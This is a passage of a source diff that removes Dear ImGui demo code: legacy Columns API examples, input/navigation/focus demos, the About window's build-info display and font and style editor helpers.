parent_draw_list) - ImGui::Text(": DrawCmd: +%d (in same window)", - table_draw_list_draw_cmd_count - parent_draw_list_draw_cmd_count); - else - ImGui::Text(": DrawCmd: +%d (in child window), Scroll: (%.f/%.f) (%.f/%.f)", - table_draw_list_draw_cmd_count - 1, table_scroll_cur.x, table_scroll_max.x, table_scroll_cur.y, table_scroll_max.y); - } - ImGui::TreePop(); - } - - ImGui::PopID(); - - ShowDemoWindowColumns(); - - if (disable_indent) - ImGui::PopStyleVar(); -} - -// Demonstrate old/legacy Columns API! -// [2020: Columns are under-featured and not maintained. Prefer using the more flexible and powerful BeginTable() API!] -static void ShowDemoWindowColumns() -{ - bool open = ImGui::TreeNode("Legacy Columns API"); - ImGui::SameLine(); - HelpMarker("Columns() is an old API! Prefer using the more flexible and powerful BeginTable() API!"); - if (!open) - return; - - // Basic columns - if (ImGui::TreeNode("Basic")) - { - ImGui::Text("Without border:"); - ImGui::Columns(3, "mycolumns3", false); // 3-ways, no border - ImGui::Separator(); - for (int n = 0; n < 14; n++) - { - char label[32]; - sprintf(label, "Item %d", n); - if (ImGui::Selectable(label)) {} - //if (ImGui::Button(label, ImVec2(-FLT_MIN,0.0f))) {} - ImGui::NextColumn(); - } - ImGui::Columns(1); - ImGui::Separator(); - - ImGui::Text("With border:"); - ImGui::Columns(4, "mycolumns"); // 4-ways, with border - ImGui::Separator(); - ImGui::Text("ID"); ImGui::NextColumn(); - ImGui::Text("Name"); ImGui::NextColumn(); - ImGui::Text("Path"); ImGui::NextColumn(); - ImGui::Text("Hovered"); ImGui::NextColumn(); - ImGui::Separator(); - const char* names[3] = { "One", "Two", "Three" }; - const char* paths[3] = { "/path/one", "/path/two", "/path/three" }; - static int selected = -1; - for (int i = 0; i < 3; i++) - { - char label[32]; - sprintf(label, "%04d", i); - if (ImGui::Selectable(label, selected == i, ImGuiSelectableFlags_SpanAllColumns)) - selected = i; - bool hovered = ImGui::IsItemHovered(); - ImGui::NextColumn(); - ImGui::Text(names[i]); ImGui::NextColumn(); - ImGui::Text(paths[i]); ImGui::NextColumn(); - ImGui::Text("%d", hovered); ImGui::NextColumn(); - } - ImGui::Columns(1); - ImGui::Separator(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Borders")) - { - // NB: Future columns API should allow automatic horizontal borders. - static bool h_borders = true; - static bool v_borders = true; - static int columns_count = 4; - const int lines_count = 3; - ImGui::SetNextItemWidth(ImGui::GetFontSize() * 8); - ImGui::DragInt("##columns_count", &columns_count, 0.1f, 2, 10, "%d columns"); - if (columns_count < 2) - columns_count = 2; - ImGui::SameLine(); - ImGui::Checkbox("horizontal", &h_borders); - ImGui::SameLine(); - ImGui::Checkbox("vertical", &v_borders); - ImGui::Columns(columns_count, NULL, v_borders); - for (int i = 0; i < columns_count * lines_count; i++) - { - if (h_borders && ImGui::GetColumnIndex() == 0) - ImGui::Separator(); - ImGui::Text("%c%c%c", 'a' + i, 'a' + i, 'a' + i); - ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); - ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x); - ImGui::Text("Offset %.2f", ImGui::GetColumnOffset()); - ImGui::Text("Long text that is likely to clip"); - ImGui::Button("Button", ImVec2(-FLT_MIN, 0.0f)); - ImGui::NextColumn(); - } - ImGui::Columns(1); - if (h_borders) - ImGui::Separator(); - ImGui::TreePop(); - } - - // Create multiple items in a same cell before switching to next column - if (ImGui::TreeNode("Mixed items")) - { - ImGui::Columns(3, "mixed"); - ImGui::Separator(); - - ImGui::Text("Hello"); - ImGui::Button("Banana"); - ImGui::NextColumn(); - - ImGui::Text("ImGui"); - ImGui::Button("Apple"); - static float foo = 1.0f; - ImGui::InputFloat("red", &foo, 0.05f, 0, "%.3f"); - ImGui::Text("An extra line here."); - ImGui::NextColumn(); - - ImGui::Text("Sailor"); - ImGui::Button("Corniflower"); - static float bar = 1.0f; - ImGui::InputFloat("blue", &bar, 0.05f, 0, "%.3f"); - ImGui::NextColumn(); - - if (ImGui::CollapsingHeader("Category A")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); - if (ImGui::CollapsingHeader("Category B")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); - if (ImGui::CollapsingHeader("Category C")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn(); - ImGui::Columns(1); - ImGui::Separator(); - ImGui::TreePop(); - } - - // Word wrapping - if (ImGui::TreeNode("Word-wrapping")) - { - ImGui::Columns(2, "word-wrapping"); - ImGui::Separator(); - ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); - ImGui::TextWrapped("Hello Left"); - ImGui::NextColumn(); - ImGui::TextWrapped("The quick brown fox jumps over the lazy dog."); - ImGui::TextWrapped("Hello Right"); - ImGui::Columns(1); - ImGui::Separator(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Horizontal Scrolling")) - { - ImGui::SetNextWindowContentSize(ImVec2(1500.0f, 0.0f)); - ImVec2 child_size = ImVec2(0, ImGui::GetFontSize() * 20.0f); - ImGui::BeginChild("##ScrollingRegion", child_size, false, ImGuiWindowFlags_HorizontalScrollbar); - ImGui::Columns(10); - - // Also demonstrate using clipper for large vertical lists - int ITEMS_COUNT = 2000; - ImGuiListClipper clipper; - clipper.Begin(ITEMS_COUNT); - while (clipper.Step()) - { - for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) - for (int j = 0; j < 10; j++) - { - ImGui::Text("Line %d Column %d...", i, j); - ImGui::NextColumn(); - } - } - ImGui::Columns(1); - ImGui::EndChild(); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Tree")) - { - ImGui::Columns(2, "tree", true); - for (int x = 0; x < 3; x++) - { - bool open1 = ImGui::TreeNode((void*)(intptr_t)x, "Node%d", x); - ImGui::NextColumn(); - ImGui::Text("Node contents"); - ImGui::NextColumn(); - if (open1) - { - for (int y = 0; y < 3; y++) - { - bool open2 = ImGui::TreeNode((void*)(intptr_t)y, "Node%d.%d", x, y); - ImGui::NextColumn(); - ImGui::Text("Node contents"); - if (open2) - { - ImGui::Text("Even more contents"); - if (ImGui::TreeNode("Tree in column")) - { - ImGui::Text("The quick brown fox jumps over the lazy dog"); - ImGui::TreePop(); - } - } - ImGui::NextColumn(); - if (open2) - ImGui::TreePop(); - } - ImGui::TreePop(); - } - } - ImGui::Columns(1); - ImGui::TreePop(); - } - - ImGui::TreePop(); -} - -static void ShowDemoWindowMisc() -{ - if (ImGui::CollapsingHeader("Filtering")) - { - // Helper class to easy setup a text filter. - // You may want to implement a more feature-full filtering scheme in your own application. - static ImGuiTextFilter filter; - ImGui::Text("Filter usage:\n" - " \"\" display all lines\n" - " \"xxx\" display lines containing \"xxx\"\n" - " \"xxx,yyy\" display lines containing \"xxx\" or \"yyy\"\n" - " \"-xxx\" hide lines containing \"xxx\""); - filter.Draw(); - const char* lines[] = { "aaa1.c", "bbb1.c", "ccc1.c", "aaa2.cpp", "bbb2.cpp", "ccc2.cpp", "abc.h", "hello, world" }; - for (int i = 0; i < IM_ARRAYSIZE(lines); i++) - if (filter.PassFilter(lines[i])) - ImGui::BulletText("%s", lines[i]); - } - - if (ImGui::CollapsingHeader("Inputs, Navigation & Focus")) - { - ImGuiIO& io = ImGui::GetIO(); - - // Display ImGuiIO output flags - ImGui::Text("WantCaptureMouse: %d", io.WantCaptureMouse); - ImGui::Text("WantCaptureKeyboard: %d", io.WantCaptureKeyboard); - ImGui::Text("WantTextInput: %d", io.WantTextInput); - ImGui::Text("WantSetMousePos: %d", io.WantSetMousePos); - ImGui::Text("NavActive: %d, NavVisible: %d", io.NavActive, io.NavVisible); - - // Display Mouse state - if (ImGui::TreeNode("Mouse State")) - { - if (ImGui::IsMousePosValid()) - ImGui::Text("Mouse pos: (%g, %g)", io.MousePos.x, io.MousePos.y); - else - ImGui::Text("Mouse pos: "); - ImGui::Text("Mouse delta: (%g, %g)", io.MouseDelta.x, io.MouseDelta.y); - ImGui::Text("Mouse down:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseDown(i)) { ImGui::SameLine(); ImGui::Text("b%d (%.02f secs)", i, io.MouseDownDuration[i]); } - ImGui::Text("Mouse clicked:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } - ImGui::Text("Mouse dblclick:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseDoubleClicked(i)){ ImGui::SameLine(); ImGui::Text("b%d", i); } - ImGui::Text("Mouse released:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseReleased(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); } - ImGui::Text("Mouse wheel: %.1f", io.MouseWheel); - ImGui::Text("Pen Pressure: %.1f", io.PenPressure); // Note: currently unused - ImGui::TreePop(); - } - - // Display Keyboard/Mouse state - if (ImGui::TreeNode("Keyboard & Navigation State")) - { - ImGui::Text("Keys down:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyDown(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X) (%.02f secs)", i, i, io.KeysDownDuration[i]); } - ImGui::Text("Keys pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyPressed(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } - ImGui::Text("Keys release:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyReleased(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); } - ImGui::Text("Keys mods: %s%s%s%s", io.KeyCtrl ? "CTRL " : "", io.KeyShift ? "SHIFT " : "", io.KeyAlt ? "ALT " : "", io.KeySuper ? "SUPER " : ""); - ImGui::Text("Chars queue:"); for (int i = 0; i < io.InputQueueCharacters.Size; i++) { ImWchar c = io.InputQueueCharacters[i]; ImGui::SameLine(); ImGui::Text("\'%c\' (0x%04X)", (c > ' ' && c <= 255) ? (char)c : '?', c); } // FIXME: We should convert 'c' to UTF-8 here but the functions are not public. - - ImGui::Text("NavInputs down:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputs[i] > 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f (%.02f secs)", i, io.NavInputs[i], io.NavInputsDownDuration[i]); } - ImGui::Text("NavInputs pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] == 0.0f) { ImGui::SameLine(); ImGui::Text("[%d]", i); } - - ImGui::Button("Hovering me sets the\nkeyboard capture flag"); - if (ImGui::IsItemHovered()) - ImGui::CaptureKeyboardFromApp(true); - ImGui::SameLine(); - ImGui::Button("Holding me clears the\nthe keyboard capture flag"); - if (ImGui::IsItemActive()) - ImGui::CaptureKeyboardFromApp(false); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Tabbing")) - { - ImGui::Text("Use TAB/SHIFT+TAB to cycle through keyboard editable fields."); - static char buf[32] = "hello"; - ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); - ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); - ImGui::InputText("3", buf, IM_ARRAYSIZE(buf)); - ImGui::PushAllowKeyboardFocus(false); - ImGui::InputText("4 (tab skip)", buf, IM_ARRAYSIZE(buf)); - //ImGui::SameLine(); HelpMarker("Use ImGui::PushAllowKeyboardFocus(bool) to disable tabbing through certain widgets."); - ImGui::PopAllowKeyboardFocus(); - ImGui::InputText("5", buf, IM_ARRAYSIZE(buf)); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Focus from code")) - { - bool focus_1 = ImGui::Button("Focus on 1"); ImGui::SameLine(); - bool focus_2 = ImGui::Button("Focus on 2"); ImGui::SameLine(); - bool focus_3 = ImGui::Button("Focus on 3"); - int has_focus = 0; - static char buf[128] = "click on a button to set focus"; - - if (focus_1) ImGui::SetKeyboardFocusHere(); - ImGui::InputText("1", buf, IM_ARRAYSIZE(buf)); - if (ImGui::IsItemActive()) has_focus = 1; - - if (focus_2) ImGui::SetKeyboardFocusHere(); - ImGui::InputText("2", buf, IM_ARRAYSIZE(buf)); - if (ImGui::IsItemActive()) has_focus = 2; - - ImGui::PushAllowKeyboardFocus(false); - if (focus_3) ImGui::SetKeyboardFocusHere(); - ImGui::InputText("3 (tab skip)", buf, IM_ARRAYSIZE(buf)); - if (ImGui::IsItemActive()) has_focus = 3; - ImGui::PopAllowKeyboardFocus(); - - if (has_focus) - ImGui::Text("Item with focus: %d", has_focus); - else - ImGui::Text("Item with focus: "); - - // Use >= 0 parameter to SetKeyboardFocusHere() to focus an upcoming item - static float f3[3] = { 0.0f, 0.0f, 0.0f }; - int focus_ahead = -1; - if (ImGui::Button("Focus on X")) { focus_ahead = 0; } ImGui::SameLine(); - if (ImGui::Button("Focus on Y")) { focus_ahead = 1; } ImGui::SameLine(); - if (ImGui::Button("Focus on Z")) { focus_ahead = 2; } - if (focus_ahead != -1) ImGui::SetKeyboardFocusHere(focus_ahead); - ImGui::SliderFloat3("Float3", &f3[0], 0.0f, 1.0f); - - ImGui::TextWrapped("NB: Cursor & selection are preserved when refocusing last used item in code."); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Dragging")) - { - ImGui::TextWrapped("You can use ImGui::GetMouseDragDelta(0) to query for the dragged amount on any widget."); - for (int button = 0; button < 3; button++) - { - ImGui::Text("IsMouseDragging(%d):", button); - ImGui::Text(" w/ default threshold: %d,", ImGui::IsMouseDragging(button)); - ImGui::Text(" w/ zero threshold: %d,", ImGui::IsMouseDragging(button, 0.0f)); - ImGui::Text(" w/ large threshold: %d,", ImGui::IsMouseDragging(button, 20.0f)); - } - - ImGui::Button("Drag Me"); - if (ImGui::IsItemActive()) - ImGui::GetForegroundDrawList()->AddLine(io.MouseClickedPos[0], io.MousePos, ImGui::GetColorU32(ImGuiCol_Button), 4.0f); // Draw a line between the button and the mouse cursor - - // Drag operations gets "unlocked" when the mouse has moved past a certain threshold - // (the default threshold is stored in io.MouseDragThreshold). You can request a lower or higher - // threshold using the second parameter of IsMouseDragging() and GetMouseDragDelta(). - ImVec2 value_raw = ImGui::GetMouseDragDelta(0, 0.0f); - ImVec2 value_with_lock_threshold = ImGui::GetMouseDragDelta(0); - ImVec2 mouse_delta = io.MouseDelta; - ImGui::Text("GetMouseDragDelta(0):"); - ImGui::Text(" w/ default threshold: (%.1f, %.1f)", value_with_lock_threshold.x, value_with_lock_threshold.y); - ImGui::Text(" w/ zero threshold: (%.1f, %.1f)", value_raw.x, value_raw.y); - ImGui::Text("io.MouseDelta: (%.1f, %.1f)", mouse_delta.x, mouse_delta.y); - ImGui::TreePop(); - } - - if (ImGui::TreeNode("Mouse cursors")) - { - const char* mouse_cursors_names[] = { "Arrow", "TextInput", "ResizeAll", "ResizeNS", "ResizeEW", "ResizeNESW", "ResizeNWSE", "Hand", "NotAllowed" }; - IM_ASSERT(IM_ARRAYSIZE(mouse_cursors_names) == ImGuiMouseCursor_COUNT); - - ImGuiMouseCursor current = ImGui::GetMouseCursor(); - ImGui::Text("Current mouse cursor = %d: %s", current, mouse_cursors_names[current]); - ImGui::Text("Hover to see mouse cursors:"); - ImGui::SameLine(); HelpMarker( - "Your application can render a different mouse cursor based on what ImGui::GetMouseCursor() returns. " - "If software cursor rendering (io.MouseDrawCursor) is set ImGui will draw the right cursor for you, " - "otherwise your backend needs to handle it."); - for (int i = 0; i < ImGuiMouseCursor_COUNT; i++) - { - char label[32]; - sprintf(label, "Mouse cursor %d: %s", i, mouse_cursors_names[i]); - ImGui::Bullet(); ImGui::Selectable(label, false); - if (ImGui::IsItemHovered()) - ImGui::SetMouseCursor(i); - } - ImGui::TreePop(); - } - } -} - -//----------------------------------------------------------------------------- -// [SECTION] About Window / ShowAboutWindow() -// Access from Dear ImGui Demo -> Tools -> About -//----------------------------------------------------------------------------- - -void ImGui::ShowAboutWindow(bool* p_open) -{ - if (!ImGui::Begin("About Dear ImGui", p_open, ImGuiWindowFlags_AlwaysAutoResize)) - { - ImGui::End(); - return; - } - ImGui::Text("Dear ImGui %s", ImGui::GetVersion()); - ImGui::Separator(); - ImGui::Text("By Omar Cornut and all Dear ImGui contributors."); - ImGui::Text("Dear ImGui is licensed under the MIT License, see LICENSE for more information."); - - static bool show_config_info = false; - ImGui::Checkbox("Config/Build Information", &show_config_info); - if (show_config_info) - { - ImGuiIO& io = ImGui::GetIO(); - ImGuiStyle& style = ImGui::GetStyle(); - - bool copy_to_clipboard = ImGui::Button("Copy to clipboard"); - ImVec2 child_size = ImVec2(0, ImGui::GetTextLineHeightWithSpacing() * 18); - ImGui::BeginChildFrame(ImGui::GetID("cfg_infos"), child_size, ImGuiWindowFlags_NoMove); - if (copy_to_clipboard) - { - ImGui::LogToClipboard(); - ImGui::LogText("```\n"); // Back quotes will make text appears without formatting when pasting on GitHub - } - - ImGui::Text("Dear ImGui %s (%d)", IMGUI_VERSION, IMGUI_VERSION_NUM); - ImGui::Separator(); - ImGui::Text("sizeof(size_t): %d, sizeof(ImDrawIdx): %d, sizeof(ImDrawVert): %d", (int)sizeof(size_t), (int)sizeof(ImDrawIdx), (int)sizeof(ImDrawVert)); - ImGui::Text("define: __cplusplus=%d", (int)__cplusplus); -#ifdef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_OBSOLETE_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_WIN32_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_WIN32_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_FILE_FUNCTIONS - ImGui::Text("define: IMGUI_DISABLE_FILE_FUNCTIONS"); -#endif -#ifdef IMGUI_DISABLE_DEFAULT_ALLOCATORS - ImGui::Text("define: IMGUI_DISABLE_DEFAULT_ALLOCATORS"); -#endif -#ifdef IMGUI_USE_BGRA_PACKED_COLOR - ImGui::Text("define: IMGUI_USE_BGRA_PACKED_COLOR"); -#endif -#ifdef _WIN32 - ImGui::Text("define: _WIN32"); -#endif -#ifdef _WIN64 - ImGui::Text("define: _WIN64"); -#endif -#ifdef __linux__ - ImGui::Text("define: __linux__"); -#endif -#ifdef __APPLE__ - ImGui::Text("define: __APPLE__"); -#endif -#ifdef _MSC_VER - ImGui::Text("define: _MSC_VER=%d", _MSC_VER); -#endif -#ifdef _MSVC_LANG - ImGui::Text("define: _MSVC_LANG=%d", (int)_MSVC_LANG); -#endif -#ifdef __MINGW32__ - ImGui::Text("define: __MINGW32__"); -#endif -#ifdef __MINGW64__ - ImGui::Text("define: __MINGW64__"); -#endif -#ifdef __GNUC__ - ImGui::Text("define: __GNUC__=%d", (int)__GNUC__); -#endif -#ifdef __clang_version__ - ImGui::Text("define: __clang_version__=%s", __clang_version__); -#endif - ImGui::Separator(); - ImGui::Text("io.BackendPlatformName: %s", io.BackendPlatformName ? io.BackendPlatformName : "NULL"); - ImGui::Text("io.BackendRendererName: %s", io.BackendRendererName ? io.BackendRendererName : "NULL"); - ImGui::Text("io.ConfigFlags: 0x%08X", io.ConfigFlags); - if (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) ImGui::Text(" NavEnableKeyboard"); - if (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) ImGui::Text(" NavEnableGamepad"); - if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) ImGui::Text(" NavEnableSetMousePos"); - if (io.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard) ImGui::Text(" NavNoCaptureKeyboard"); - if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) ImGui::Text(" NoMouse"); - if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) ImGui::Text(" NoMouseCursorChange"); - if (io.MouseDrawCursor) ImGui::Text("io.MouseDrawCursor"); - if (io.ConfigMacOSXBehaviors) ImGui::Text("io.ConfigMacOSXBehaviors"); - if (io.ConfigInputTextCursorBlink) ImGui::Text("io.ConfigInputTextCursorBlink"); - if (io.ConfigWindowsResizeFromEdges) ImGui::Text("io.ConfigWindowsResizeFromEdges"); - if (io.ConfigWindowsMoveFromTitleBarOnly) ImGui::Text("io.ConfigWindowsMoveFromTitleBarOnly"); - if (io.ConfigMemoryCompactTimer >= 0.0f) ImGui::Text("io.ConfigMemoryCompactTimer = %.1f", io.ConfigMemoryCompactTimer); - ImGui::Text("io.BackendFlags: 0x%08X", io.BackendFlags); - if (io.BackendFlags & ImGuiBackendFlags_HasGamepad) ImGui::Text(" HasGamepad"); - if (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) ImGui::Text(" HasMouseCursors"); - if (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos) ImGui::Text(" HasSetMousePos"); - if (io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) ImGui::Text(" RendererHasVtxOffset"); - ImGui::Separator(); - ImGui::Text("io.Fonts: %d fonts, Flags: 0x%08X, TexSize: %d,%d", io.Fonts->Fonts.Size, io.Fonts->Flags, io.Fonts->TexWidth, io.Fonts->TexHeight); - ImGui::Text("io.DisplaySize: %.2f,%.2f", io.DisplaySize.x, io.DisplaySize.y); - ImGui::Text("io.DisplayFramebufferScale: %.2f,%.2f", io.DisplayFramebufferScale.x, io.DisplayFramebufferScale.y); - ImGui::Separator(); - ImGui::Text("style.WindowPadding: %.2f,%.2f", style.WindowPadding.x, style.WindowPadding.y); - ImGui::Text("style.WindowBorderSize: %.2f", style.WindowBorderSize); - ImGui::Text("style.FramePadding: %.2f,%.2f", style.FramePadding.x, style.FramePadding.y); - ImGui::Text("style.FrameRounding: %.2f", style.FrameRounding); - ImGui::Text("style.FrameBorderSize: %.2f", style.FrameBorderSize); - ImGui::Text("style.ItemSpacing: %.2f,%.2f", style.ItemSpacing.x, style.ItemSpacing.y); - ImGui::Text("style.ItemInnerSpacing: %.2f,%.2f", style.ItemInnerSpacing.x, style.ItemInnerSpacing.y); - - if (copy_to_clipboard) - { - ImGui::LogText("\n```\n"); - ImGui::LogFinish(); - } - ImGui::EndChildFrame(); - } - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Style Editor / ShowStyleEditor() -//----------------------------------------------------------------------------- -// - ShowStyleSelector() -// - ShowFontSelector() -// - ShowStyleEditor() -//----------------------------------------------------------------------------- - -// Demo helper function to select among default colors. See ShowStyleEditor() for more advanced options. -// Here we use the simplified Combo() api that packs items into a single literal string. -// Useful for quick combo boxes where the choices are known locally. -bool ImGui::ShowStyleSelector(const char* label) -{ - static int style_idx = -1; - if (ImGui::Combo(label, &style_idx, "Dark\0Light\0Classic\0")) - { - switch (style_idx) - { - case 0: ImGui::StyleColorsDark(); break; - case 1: ImGui::StyleColorsLight(); break; - case 2: ImGui::StyleColorsClassic(); break; - } - return true; - } - return false; -} - -// Demo helper function to select among loaded fonts. -// Here we use the regular BeginCombo()/EndCombo() api which is more the more flexible one. -void ImGui::ShowFontSelector(const char* label) -{ - ImGuiIO& io = ImGui::GetIO(); - ImFont* font_current = ImGui::GetFont(); - if (ImGui::BeginCombo(label, font_current->GetDebugName())) - { - for (int n = 0; n < io.Fonts->Fonts.Size; n++) - { - ImFont* font = io.Fonts->Fonts[n]; - ImGui::PushID((void*)font); - if (ImGui::Selectable(font->GetDebugName(), font == font_current)) - io.FontDefault = font; - ImGui::PopID(); - } - ImGui::EndCombo(); - } - ImGui::SameLine(); - HelpMarker( - "- Load additional fonts with io.Fonts->AddFontFromFileTTF().\n" - "- The font atlas is built when calling io.Fonts->GetTexDataAsXXXX() or io.Fonts->Build().\n" - "- Read FAQ and docs/FONTS.md for more details.\n" - "- If you need to add/remove fonts at runtime (e.g. for DPI change), do it before calling NewFrame()."); -} - -// [Internal] Display details for a single font, called by ShowStyleEditor(). -static void NodeFont(ImFont* font) -{ - ImGuiIO& io = ImGui::GetIO(); - ImGuiStyle& style = ImGui::GetStyle(); - bool font_details_opened = ImGui::TreeNode(font, "Font: \"%s\"\n%.2f px, %d glyphs, %d file(s)", - font->ConfigData ? font->ConfigData[0].Name : "", font->FontSize, font->Glyphs.Size, font->ConfigDataCount); - ImGui::SameLine(); if (ImGui::SmallButton("Set as default")) { io.FontDefault = font; } - if (!font_details_opened) - return; - - ImGui::PushFont(font); - ImGui::Text("The quick brown fox jumps over the lazy dog"); - ImGui::PopFont(); - ImGui::DragFloat("Font scale", &font->Scale, 0.005f, 0.3f, 2.0f, "%.1f"); // Scale only this font - ImGui::SameLine(); HelpMarker( - "Note than the default embedded font is NOT meant to be scaled.\n\n" - "Font are currently rendered into bitmaps at a given size at the time of building the atlas. " - "You may oversample them to get some flexibility with scaling. " - "You can also render at multiple sizes and select which one to use at runtime.\n\n" - "(Glimmer of hope: the atlas system will be rewritten in the future to make scaling more flexible.)"); - ImGui::Text("Ascent: %f, Descent: %f, Height: %f", font->Ascent, font->Descent, font->Ascent - font->Descent); - ImGui::Text("Fallback character: '%c' (U+%04X)", font->FallbackChar, font->FallbackChar); - ImGui::Text("Ellipsis character: '%c' (U+%04X)", font->EllipsisChar, font->EllipsisChar); - const int surface_sqrt = (int)sqrtf((float)font->MetricsTotalSurface); - ImGui::Text("Texture Area: about %d px ~%dx%d px", font->MetricsTotalSurface, surface_sqrt, surface_sqrt); - for (int config_i = 0; config_i < font->ConfigDataCount; config_i++) - if (font->ConfigData) - if (const ImFontConfig* cfg = &font->ConfigData[config_i]) - ImGui::BulletText("Input %d: \'%s\', Oversample: (%d,%d), PixelSnapH: %d, Offset: (%.1f,%.1f)", - config_i, cfg->Name, cfg->OversampleH, cfg->OversampleV, cfg->PixelSnapH, cfg->GlyphOffset.x, cfg->GlyphOffset.y); - if (ImGui::TreeNode("Glyphs", "Glyphs (%d)", font->Glyphs.Size)) - { - // Display all glyphs of the fonts in separate pages of 256 characters - const ImU32 glyph_col = ImGui::GetColorU32(ImGuiCol_Text); - for (unsigned int base = 0; base <= IM_UNICODE_CODEPOINT_MAX; base += 256) - { - // Skip ahead if a large bunch of glyphs are not present in the font (test in chunks of 4k) - // This is only a small optimization to reduce the number of iterations when IM_UNICODE_MAX_CODEPOINT - // is large // (if ImWchar==ImWchar32 we will do at least about 272 queries here) - if (!(base & 4095) && font->IsGlyphRangeUnused(base, base + 4095)) - { - base += 4096 - 256; - continue; - } - - int count = 0; - for (unsigned int n = 0; n < 256; n++) - if (font->FindGlyphNoFallback((ImWchar)(base + n))) - count++; - if (count <= 0) - continue; - if (!ImGui::TreeNode((void*)(intptr_t)base, "U+%04X..U+%04X (%d %s)", base, base + 255, count, count > 1 ? "glyphs" : "glyph")) - continue; - float cell_size = font->FontSize * 1; - float cell_spacing = style.ItemSpacing.y; - ImVec2 base_pos = ImGui::GetCursorScreenPos(); - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - for (unsigned int n = 0; n < 256; n++) - { - // We use ImFont::RenderChar as a shortcut because we don't have UTF-8 conversion functions - // available here and thus cannot easily generate a zero-terminated UTF-8 encoded string. - ImVec2 cell_p1(base_pos.x + (n % 16) * (cell_size + cell_spacing), base_pos.y + (n / 16) * (cell_size + cell_spacing)); - ImVec2 cell_p2(cell_p1.x + cell_size, cell_p1.y + cell_size); - const ImFontGlyph* glyph = font->FindGlyphNoFallback((ImWchar)(base + n)); - draw_list->AddRect(cell_p1, cell_p2, glyph ? IM_COL32(255, 255, 255, 100) : IM_COL32(255, 255, 255, 50)); - if (glyph) - font->RenderChar(draw_list, cell_size, cell_p1, glyph_col, (ImWchar)(base + n)); - if (glyph && ImGui::IsMouseHoveringRect(cell_p1, cell_p2)) - { - ImGui::BeginTooltip(); - ImGui::Text("Codepoint: U+%04X", base + n); - ImGui::Separator(); - ImGui::Text("Visible: %d", glyph->Visible); - ImGui::Text("AdvanceX: %.1f", glyph->AdvanceX); - ImGui::Text("Pos: (%.2f,%.2f)->(%.2f,%.2f)", glyph->X0, glyph->Y0, glyph->X1, glyph->Y1); - ImGui::Text("UV: (%.3f,%.3f)->(%.3f,%.3f)", glyph->U0, glyph->V0, glyph->U1, glyph->V1); - ImGui::EndTooltip(); - } - } - ImGui::Dummy(ImVec2((cell_size + cell_spacing) * 16, (cell_size + cell_spacing) * 16)); - ImGui::TreePop(); - } - ImGui::TreePop(); - } - ImGui::TreePop(); -} - -void ImGui::ShowStyleEditor(ImGuiStyle* ref) -{ - // You can pass in a reference ImGuiStyle structure to compare to, revert to and save to - // (without a reference style pointer, we will use one compared locally as a reference) - ImGuiStyle& style = ImGui::GetStyle(); - static ImGuiStyle ref_saved_style; - - // Default to using internal storage as reference - static bool init = true; - if (init && ref == NULL) - ref_saved_style = style; - init = false; - if (ref == NULL) - ref = 